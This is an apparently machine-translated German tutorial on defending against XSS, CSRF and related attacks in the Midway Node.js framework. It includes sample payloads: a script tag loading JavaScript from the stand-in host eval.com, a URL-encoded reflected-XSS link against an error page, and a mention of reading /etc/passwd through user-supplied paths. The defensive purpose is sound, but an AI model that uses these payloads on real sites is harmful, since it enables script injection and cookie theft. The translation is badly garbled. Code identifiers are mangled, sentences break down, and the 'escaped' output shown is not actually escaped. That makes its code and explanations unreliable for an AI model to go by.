Vorwort
Im Entwicklungsmodell der Trennung von Front-End und Back-End ist die offensichtlichste Änderung in Bezug auf Entwicklungsrollen und -funktionen: In der Vergangenheit waren Front-End-Schüler, die nur für die Entwicklung in der Browserumgebung verantwortlich waren, um die Server-End-Ebene zu untersuchen und den Server-End-Code zu schreiben. Und eine grundlegende Frage vor uns ist, wie die Websicherheit gewährleistet wird.
In diesem Artikel wird Lösungen für die Sicherheitsprobleme vorgeschlagen, die im Front-End- und Back-End-Trennungsmodus im Webentwicklung des Front-Ends sowie Gegenmaßnahmen und Vorsichtsmaßnahmen auftreten.
Verteidigung des Cross-Site-Skriptangriffs (XSS)
Probleme und Lösungen
Cross-Site-Scripting (XSS, Cross-Site-Skripting) ist die häufigste und grundlegendste Methode, um Websites anzugreifen. Ein Angreifer kann Daten mit Offensivcode auf einer Webseite veröffentlichen. Wenn ein Browser diese Webseite sieht, wird ein bestimmtes Skript als Identität und Berechtigungen des Browserbenutzers ausgeführt. XSS kann leichter geändert werden, Benutzerdaten stehlen, Benutzerinformationen und verursachen andere Arten von Angriffen wie CSRF -Angriffe.
Die grundlegende Möglichkeit, XSS -Angriffe zu verhindern, besteht darin, sicherzustellen, dass alle Datenausgaben auf eine HTML -Seite in HTML (HTML Escape) entkommen sind. Zum Beispiel der folgende Vorlagencode:
Die Codekopie lautet wie folgt:
<textArea name = "Beschreibung"> $ Beschreibung </textArea>
Die $ Beschreibung in diesem Code ist eine Variable der Vorlage (die Syntax der in verschiedenen Vorlagen definierten Variablen ist unterschiedlich, hier ist nur ein Diagramm). Die vom Benutzer eingereichten Daten können einen Code eingeben, der "JavaScript" enthält, um das Ergebnis der oben genannten Vorlagenanweisung zu erzielen, das folgende Ergebnis wird:
Die Codekopie lautet wie folgt:
<textarea name = "Beschreibung">
</textArea> <script> alert ('Hallo') '</script>
</textArea>
Der obige Code, der im Browser gerendert wird, führt den JavaScript -Code aus und alarmiert das Hallo auf dem Bildschirm. Natürlich ist dieser Code harmlos, aber ein Angreifer kann ein JavaScript erstellen, um Benutzerinformationen zu ändern oder Cookie -Daten zu stehlen.
Die Lösung ist sehr einfach, was dem Wert von $ Beschreibung entgeht. Der Ausgabescode nach der Flucht ist wie folgt
Die Codekopie lautet wie folgt:
<textarea name = "Beschreibung">
</textArea> <script> alert (Hallo!) </script>
</textArea>
Der oben genannte HTML -Code ist nicht schädlich.
Midways Lösung
Entkommen alle Benutzerausgabendaten auf der Seite
Es gibt mehrere Situationen und Methoden zum Entkommen von Daten:
1. Flucht unter Verwendung des Mechanismus innerhalb der Vorlage
Midway verwendet Kissy Xtemplate als Vorlagensprache.
In der Xtemplate -Implementierung werden die Vorlagendaten mit zwei Klammern ({{val}}) analysiert. Standardmäßig sind die Daten HTML entkommen, sodass Entwickler solche Vorlagen schreiben können:
Die Codekopie lautet wie folgt:
<textArea name = "Beschreibung"> {{Beschreibung}} </textArea>
Wenn Sie in Xtemplate nicht möchten, dass die Ausgabedaten entkommen werden, müssen Sie drei Klammern verwenden ({{{val}}}).
2. Eindeutig rufen Sie Fluchtfunktionen in der Mitte an
Entwickler können die HTML -Escape -Methode, die bis Midway im Node.js -Programm oder -Programm oder die Vorlage bereitgestellt werden, direkt aufrufen, um den angezeigten Daten wie folgt zu entkommen:
Methode 1: HTML Escape -Daten im Node.js -Programm
Die Codekopie lautet wie folgt:
var Security = fordert ('Midway-Security');
// Daten vom Server, z. {HTML: '</textArea>', Andere: ""}
data.html = security.escapeHtml (data.html);
XTPL = XTPL.Render (Daten);
Methode 2: HTML Escape Escape HTML -Daten in der Vorlage
Die Codekopie lautet wie folgt:
<textArea name = "Beschreibung"> Security.EscapeHtml ({{{Beschreibung}}}) </textarea>
Hinweis: Security.EscapeHtml wird nur für die Flucht verwendet, wenn die Daten nicht in der Vorlage entkommen sind. Andernfalls entgeht das interne Vorlage und das Programm zweimal aus dem Overlay, was zu einer Ausgabe führt, die den Erwartungen nicht entspricht.
Empfohlen: Wenn Sie Xtemplate verwenden, wird empfohlen, den integrierten {{}} der Vorlage zu verwenden, um direkt zu entkommen; Wenn Sie andere Vorlagen verwenden, wird empfohlen, Sicherheit zu verwenden.
Filtern Sie eine reiche Textausgabe von Benutzern auf der Seite
Sie denken vielleicht: "Eigentlich möchte ich nur einen reichhaltigen Text ausgeben, wie einige Message Boards und Foren, um den Benutzern eine einfache Schriftgröße, Farbe, Hintergrund und andere Funktionen zu bieten. Wie sollte ich also mit solch reichhaltigem Text umgehen, um XSS zu verhindern?"
1. Verwenden Sie die Richtext -Funktion, die von Sicherheit in Midway bereitgestellt wird
Midway bietet eine Richtext -Methode, mit der speziell zum Filtern von reichhaltigen Text und zur Verhinderung von Schwachstellen wie XSS, Phishing und Cookie -Diebstahl verwendet wird.
Es gibt eine Message Board, und der Vorlagencode kann wie folgt sein:
Die Codekopie lautet wie folgt:
<div>
{{{Nachricht}}}
</div>
Da Nachrichten die Eingabedaten des Benutzers sind, der Inhalt seiner Message Board enthält reichhaltige Textinformationen, hier werden drei Klammern in Xtemplate verwendet, und HTML -Flucht werden standardmäßig nicht durchgeführt. Dann lautet die vom Benutzer eingegebenen Daten wie folgt:
Die Codekopie lautet wie folgt:
<script src = "http://eval.com/eval.js"> </script> <span style = "color: rot; Schriftgröße: 20px; Position: behoben;"> Ich verlasse eine Nachricht </span>
Wenn die oben genannten reichen Textdaten direkt auf der Seite ausgegeben werden, führt sie zwangsläufig zur Injektion von JS von der Website eval.com in die aktuelle Seite, was zu einem XSS -Angriff führt. Um diese Sicherheitsanfälligkeit zu verhindern, nennen wir nur die Methode für Sicherheit.
Die aufrufende Methode ähnelt escipshtml, und es gibt zwei Möglichkeiten dazu
Methode 1: Rufen Sie direkt im Node.js -Programm auf
Die Codekopie lautet wie folgt:
Message = Security.richText (Nachricht);
var html = xtpl.render (Nachricht)
Methode 2: Rufen Sie die Vorlage auf
Die Codekopie lautet wie folgt:
<div>
Security.RichText ({{{Message}}})
</div>
Nach dem Aufrufen der Richtext -Sicherheitsmethode lautet die endgültige Ausgabe wie folgt:
Die Codekopie lautet wie folgt:
<div>
<span style = "color: rot; Schriftgröße: 20px;"> Ich lasse eine Nachricht </span>
</div>
Es ist zu erkennen, dass zuerst: das Skript -Tag, das die XSS -Angriffe verursacht, direkt herausgefiltert wird; Gleichzeitig die CSS -Attributposition: behoben; Stil im Stil -Tag wird ebenfalls gefiltert. Schließlich wird der harmlose HTML -reichhaltige Text ausgegeben
Erfahren Sie mehr über andere Möglichkeiten, um möglicherweise zu XSS -Angriffen zu führen
Zusätzlich zu dem möglichen XSS -Angriff in der Seitenvorlage gibt es in Webanwendungen verschiedene andere Möglichkeiten, die auch riskant sind.
1. Verletzlichkeit auf der Fehlerseite
Wenn eine Seite nicht gefunden werden kann, kann das System einen 404 nicht gefundenen Fehler melden, zum Beispiel: http: // localhost/page/nicht/gefunden
404 nicht aufgenommen
Seite/Seite/nicht/gefunden wird nicht ausgerichtet
Offensichtlich: Der Angreifer kann diese Seite verwenden, um eine solche Verbindung zu konstruieren, http: // localhost/%3cScript%3Ealert%28%27Hello%27%29%3C%2FScript%3E und lockt das Opfer für Klicken; Wenn die Fehlerseite der Ausgabevariablen nicht entzieht, wird der in der Verbindung versteckte <Script> -Alert ('Hallo') </skript> ausgeführt.
In Express lautet die Methode zum Senden einer 404 -Seite wie folgt
res.send (404, 'Entschuldigung, wir finden das nicht!')
Hier müssen Entwickler auf die Behandlung der Fehlerseite (404 oder anderer Fehlerstatus) achten. Wenn der Rückgabeinhalt der Fehlermeldung Pfadinformationen enthält (tatsächlich genauer, die Benutzereingabeinformationen), müssen Sie escsHTML ausführen.
Anschließend wird der Sicherheitsmechanismus der Fehlerbehandlung auf der Ebene des Rahmens auf halbem Weg abgeschlossen.
Zusätzliche Anmerkungen für Midway -Lösungen
Andere Vorlagenmotoren
Midway unterstützt standardmäßig Xtemplate-Vorlagen, kann jedoch auch andere Vorlagen in der Zukunft unterstützen: JADE, Schnurrbart, EJs usw. Derzeit werden in Mainstream-Vorlagen, standardmäßige entgegnehende und nicht geförderte Ausgabevariable-Schreibmethoden bereitgestellt, und Entwickler müssen ihre Sicherheit besondere Aufmerksamkeit schenken.
Andere Unterstützung für die Flucht
Zusätzlich zu der normalen und reichhaltigen Textdatenausgabe auf der Seite enthalten einige Szenarien auch andere Situationen, die möglicherweise entkommen müssen. Midway bietet die folgenden häufig verwendeten Escape -Methoden, die Entwickler verwenden können:
EscapeHTML filtert Zeichen in angegebenem HTML, um XSS -Schwachstellen zu verhindern
Jsencode JavaScript Escape Escape of Eingabebestnen. Unicode -Flucht aus chinesischen, einzelnen Zitaten und doppelten Zitaten entkommen
Escapejson zerstört nicht die Fluchtfunktion der JSON -Struktur und führt nur die Escapehtml -Verarbeitung für Name und Vaule in JSON -Struktur durch
Escapejsonforjsvar ist verständlicherweise Jsencode+Escapejson
Beispiele sind wie folgt
Die Codekopie lautet wie folgt:
var jsonText = "{/" <Script>/":/" <Script>/"}";
console.log (SecurityUtil.escapejson (jsonText)); // {"<Script>": "<Script>"}
var jsonText = "{/" Hallo/":/" <Script>/"}";
console.log (Securityutil.escapejsonforJSVar (jsonText)); // {/"/u4f60/u597d/":/"<script>/"}
var str = "alarm (/" Hallo/")";
console.log (SecurityUtil.jsencode (str)); // alarm (/"/u4f60/u597d/")
Prävention von Cross-Site-Anfragen von Fälschungen (CSRF)
Probleme und Lösungen
Definition von Begriffen: Formular: Bezieht sich im Allgemeinen auf das vom Browser verwendete Formular zum Einreichen von Daten über den Client; Einschließlich eines Tags, AJAX -Einreichungsdaten, Formulareinstellungsdaten usw. und nicht die Formular -Tags, die HTML entsprechen.
Cross-Site-Antragsfälschung (CSRF, Cross-Site-Anfrage-Fälschung) ist ein weiterer häufiger Angriff. Der Angreifer hat eine Anfrage durch verschiedene Methoden geschlossen und das Verhalten des Benutzers bei der Übermittlung von Formularen imitiert, wodurch der Zweck der Änderung der Daten des Benutzers oder der Ausführung spezifischer Aufgaben erreicht wurde.
Um vorzutäuschen, dass sie ein Benutzer sind, werden CSRF -Angriffe häufig mit XSS -Angriffen kombiniert. Andere Mittel können jedoch verwendet werden: Zum Beispiel, um Benutzer dazu zu bringen, auf einen Link zu klicken, der den Angriff enthält.
Die Idee, CSRF -Angriffe zu lösen, ist in zwei Schritte unterteilt.
1. Erhöhen Sie die Schwierigkeit des Angriffs. GET -Anfragen sind einfach zu erstellen. Benutzer können Get-Typ-Anfragen initiieren, indem sie auf einen Link klicken. Postanfragen sind relativ schwierig. Angreifer müssen oft JavaScript verwenden, um sie zu implementieren. Wenn Sie sicherstellen, dass Formulare oder Server-Schnittstellen nur nach der Einreichungsanfragen nach dem Typen akzeptieren, können Sie die Sicherheit des Systems erhöhen.
2. Authentifizieren Sie die Anfrage, um sicherzustellen, dass die Anfrage tatsächlich das Formular ausgefüllt oder die vom Benutzer eingereichte Anfrage initiiert und nicht von Dritten gefälscht wurde.
Der Prozess eines normalen Benutzers, der Website -Informationen ändert
Benutzeranfragen zur Änderung von Informationen (1) -> Die Website zeigt das geänderte Informationsformular des Benutzers an (2) -> Informationen und Einreichungen von Benutzern Modifys (3) -> Die Website akzeptiert die geänderten Daten und Speichern des Benutzers (4)
Ein CSRF -Angriff nimmt diese Route nicht ein, sondern schmiert die Informationen zur Einreichung von Benutzern in Schritt 2 direkt.
Überspringen Sie direkt zu Schritt 2 (1) -> Forge die zu geänderten Informationen und senden (2) -> Die Website akzeptiert den Angreifer, um die Parameterdaten zu ändern, und speichern (3)
Solange diese beiden Situationen unterschieden werden können, können CSRF -Angriffe verhindert werden. Wie kann man es also unterscheiden? Es soll die in Schritt 2 eingereichten Informationen überprüfen, um sicherzustellen, dass die Daten in Schritt 1 aus dem Formular stammen. Der spezifische Überprüfungsprozess ist wie folgt:
Benutzeranfragen zur Änderung von Informationen (1) -> Die Website zeigt ein leeres Formular an, mit dem Informationen geändert werden. Das Formular enthält ein spezielles Token und speichert das Token in der Sitzung (2) -> Benutzer modifiziert die Informationen und legt sie ein und sendet die Token -Informationen an den Server zurück (3) -> Die Website vergleicht das vom Benutzer zurückgesendete Token und das Token in der Sitzung. Es sollte konsistent sein. Anschließend werden die vom Benutzer geänderten Daten akzeptiert und gespeichert.
Wenn der Angreifer die Informationen zu ändern und eingereicht zu werden, wäre er nicht direkt auf die Sitzung zuzugreifen, sodass er nicht in der Lage wäre, den tatsächlichen Token -Wert zu erhalten. Wenn die Anfrage an den Server gesendet wurde, wurde festgestellt, dass der Server eine Token -Überprüfung durchführte, dass er inkonsistent war und die Anfrage direkt abgelehnt wurde.
Midway -Lösungen
Deaktivieren Sie das Einreichungsformular
Wenn der Server die von GET übermittelten Formulardaten nicht akzeptiert, wird der Angreifer große Schwierigkeiten verursachen. Da es auf der Seite sehr einfach ist, ein A-Label HREF-Attribut oder ein IMG-Label-SRC-Attribut zu erstellen, um eine Anfrage zu erstellen. Wenn Sie es jedoch senden möchten, müssen Sie ein Skript verwenden, um es zu implementieren.
Überprüfen Sie die Anforderungen mit CSRF -Token
Da Midway nicht die Logik von Taobaos verteilter Sitzung und Token -Überprüfung betrifft, werden im Rahmen des Midway -Rahmens nur Token zwischen dem Server und dem Client weitergeleitet und leistet keine tatsächliche Überprüfungsarbeiten. Der Prozess ist wie folgt:
Anschließend: In der Mitte, nach der verteilten Sitzung von Node.js und Taobao sind Sie angeschlossen, können Sie in Betracht ziehen, die Token -Überprüfung der Token auf der Mitte durchzuführen. Je früher die Sicherheitsüberprüfung durchgeführt wird, desto niedriger ist die Kosten.
Vorschlag: Auf halbem Weg können Sie feststellen, ob die Anfrage einen Token -Wert enthält. Wenn ein Modifikationsvorgang kein Token hat, können Sie es direkt in der Midway -Schicht als unsicher betrachten und die Anfrage verwerfen.
Andere Sicherheitsprobleme
Es gibt mehrere gängige Probleme mit der Websicherheit. Hier sind nur einige Einführungen und werden in Zukunft weiterhin in den Midway -Framework geerbt.
HTTP -Header Sicherheit
CRLF -Injektionsangriffe finden Wege, zwei CRLF -Sonderzeichen in den Antwortheader zu injizieren, was zu einem außergewöhnlichen Reaktionsdatenformat führt, wodurch ein Skript usw. injiziert wird.
Verweigerte Zugriffsangriffe bei jeder Anfrage, da Cookies standardmäßig eingeführt werden und der Server im Allgemeinen die Größe der Cookies einschränkt.
Cookie Prevention and Control, allgemeiner Cookie -Diebstahl wird durch JavaScript (XSS -Sicherheitsanfälligkeit) erhalten. Versuchen Sie daher, Cookies nur auf HTTP einzustellen und die Ablaufzeit für die Cookie hinzuzufügen.
In Bezug auf die Sicherheitsprobleme von Cookies hatte WebX bereits eine gute Lösung. Diese Zeit ist auf halbem Weg nicht für die Einstellung und Überprüfung von Cookies verantwortlich und nur für die Weiterleitung an die WebX -Ebene zur Überprüfung verantwortlich.
Über Node.js
Injektive Schwachstellen wie XSS sind die am einfachsten zu ignorierten unter allen Schwachstellen und machen mehr als 70% der gesamten Internetangriffe aus. Beim Schreiben von Node.js -Code sollten sich Entwickler immer daran erinnern und den Eingaben der Benutzer niemals vertrauen.
Zum Beispiel die folgenden Beispiele.
var mod = fs.readFilesync ('path'); Wenn der Pfad von der Benutzereingabe stammt, wird unter der Annahme, dass der Benutzer /etc /Passwort eintritt
var result = eval (jsonval); Stellen Sie sicher, dass JSONVAL JSON ist, nicht die Benutzereingabe
... An anderen Stellen, an denen Benutzereingaben enthalten sind, sollten Sie sicherstellen, dass die Eingabe des Benutzers der von uns erwartete Wert ist.
Zusammenfassen
Im Trennungsmodus von Front-End und Back-End können herkömmliche Front-End-Entwickler Back-End-Code schreiben. Obwohl Architektur nur für die Vorlagenschicht verantwortlich ist, werden sie auch einer großen Menge an Back-End-Code ausgesetzt. Daher ist Sicherheit eine große Herausforderung für das Front-End.